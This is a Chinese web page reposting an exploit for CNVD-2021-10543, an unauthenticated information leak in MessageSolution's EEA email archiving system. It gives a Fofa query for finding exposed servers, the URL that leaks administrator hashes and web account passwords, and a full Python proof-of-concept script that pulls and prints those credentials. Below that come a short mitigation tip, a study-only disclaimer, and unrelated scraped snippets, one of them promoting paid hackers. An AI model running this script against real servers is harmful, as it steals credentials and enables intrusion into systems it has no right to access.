MessageSolution企业邮件归档管理系统 EEA是北京易讯思达科技开发有限公司开发的一款邮件归档系统。该系统存在通用WEB信息泄漏,泄露Windows服务器administrator hash与web账号密码。
MessageSolution Enterprise Email Archiving (EEA)
Fofa搜索标题:(注意:互联网的非授权利用属于违法行为)
MessageSolution企业邮件归档管理系统首页为这样:
访问URL查看泄漏的hash和web账号密码:
http://xxx.xxx.xxx/authenticationserverservlet/
获取到账号、密码后即可访问url进行登录:
https://xxx.xxx.xxx.xxx/indexcommon.jsp
脚本POC:
# CNVD-2021-10543 # MessageSolution 企业邮件归档管理系统 EEA 存在信息泄露漏洞 # fofa: title="MessageSolution" import requests import time import json from bs4 import BeautifulSoup # 忽略SSL证书校验提醒 requests.packages.urllib3.disable_warnings() def title(): print("+-------------------------------------------------+") print("+----------- CNVD-2021-10543 ----------------+") print("+----------- MessageSolution信息泄漏 --------------+") print('+--------- Fofa: title="MessageSolution" ---------+') print("+-------- use: python3 CNVD-2021-10543.py -------+") print("+-------------------------------------------------+") def target_url(url): target_url=url + "/authenticationserverservlet/" login_url=url + "/indexcommon.jsp" # verify=False 忽略SSL证书校验 try: res=requests.get(url=target_url, verify=False,timeout=5) if "administrator" in res.text and res.status_code==200: print(f"[!] \033[31m目标系统: {url} 存在信息泄漏\033[0m") time.sleep(1) print("[!] \033[31m正在获取目标系统敏感信息.........\033[0m") bs_xml=BeautifulSoup(res.text,features="html.parser") user_names=bs_xml.findAll('username') passwords=bs_xml.findAll('password') i=1 print(f"[!] \033[31m获取到目标系统信息:\033[0m") if i < len(user_names): for user_name,password in user_names,passwords: print(f" 用户名: {user_name.text} 密 码: {password.text}") i=i+1 else: print(f" 用户名: {user_names[0].text} 密 码: {passwords[0].text}") print(f"\033[32m[0] 请访问: {login_url} 进行登录!") else: print(f"[0] \033[32m目标系统: {url} 不存在信息泄\033[0m") except Exception as e: print(f"[!] 目标系统: {url} 出现意外错误: {e}") if __name__=="__main__": title() url=str(input("[0] 请输入目标站点URL: ")) target_url(url)
厂商暂未给出修复建议?。
建议用户将该系统放置在内网,不要暴露在互联网,同时禁止未授权访问相关文件?。
结束语
本文章仅用于交流学习,请勿使用该漏洞进行违法活动。
https://github.com/Henry4E36/CNVD-2021-10543
网络上要求付钱的黑客靠谱吗(闲鱼要求加微信付钱)(tiechemo.com)一直致力于黑客(HACK)技术、黑客QQ群、信息安全、web安全、渗透运维、黑客工具、找黑客、黑客联系方式、24小时在线网络...
苍蝇停下来的时候总喜欢不停地搓手搓脚是在做什么?以上是蚂蚁庄园6月29日的问题,答对可以领取官方提供的每天一份的180g小鸡饲料。接下来就让我们一起了解一下苍蝇停下来的时候总喜欢不停地搓手搓脚是在做什...
有滋零食加盟项目在市场上的成长是我们各人有目共睹的,各人都想要加盟到个中来,成为该行业中的一员,选择加盟这个项目长短常不错的,有滋零食区域署理用度是几多?一起来看看! 有滋零食加盟项目在市场上,创立...
2019年上映的《哪吒之魔童降世》目前排名中国动画电影票房第一位置,也是国内影史第二部票房破50亿的作品。因此这部作品可以说成为国漫的漫长发展道路上一个里程碑,让大家看到国漫的希望。因此,哪吒相关的话...
黑客怎么找相关问题 世界顶级黑客攻破360相关问题 黑客军团贴吧怎么了 世界上最大的黑客是谁(郭盛华在世界黑客排名)...
在发布会的开端,由安全牛主编李少鹏同享编写《数据库安全运用攻略》的初衷。 安全牛作为一个老牌的安全范畴的查询咨询安排,一直在重视我国网络安全开展进程。 李主编在同享中说到,安全职业的职业特性用三个字描...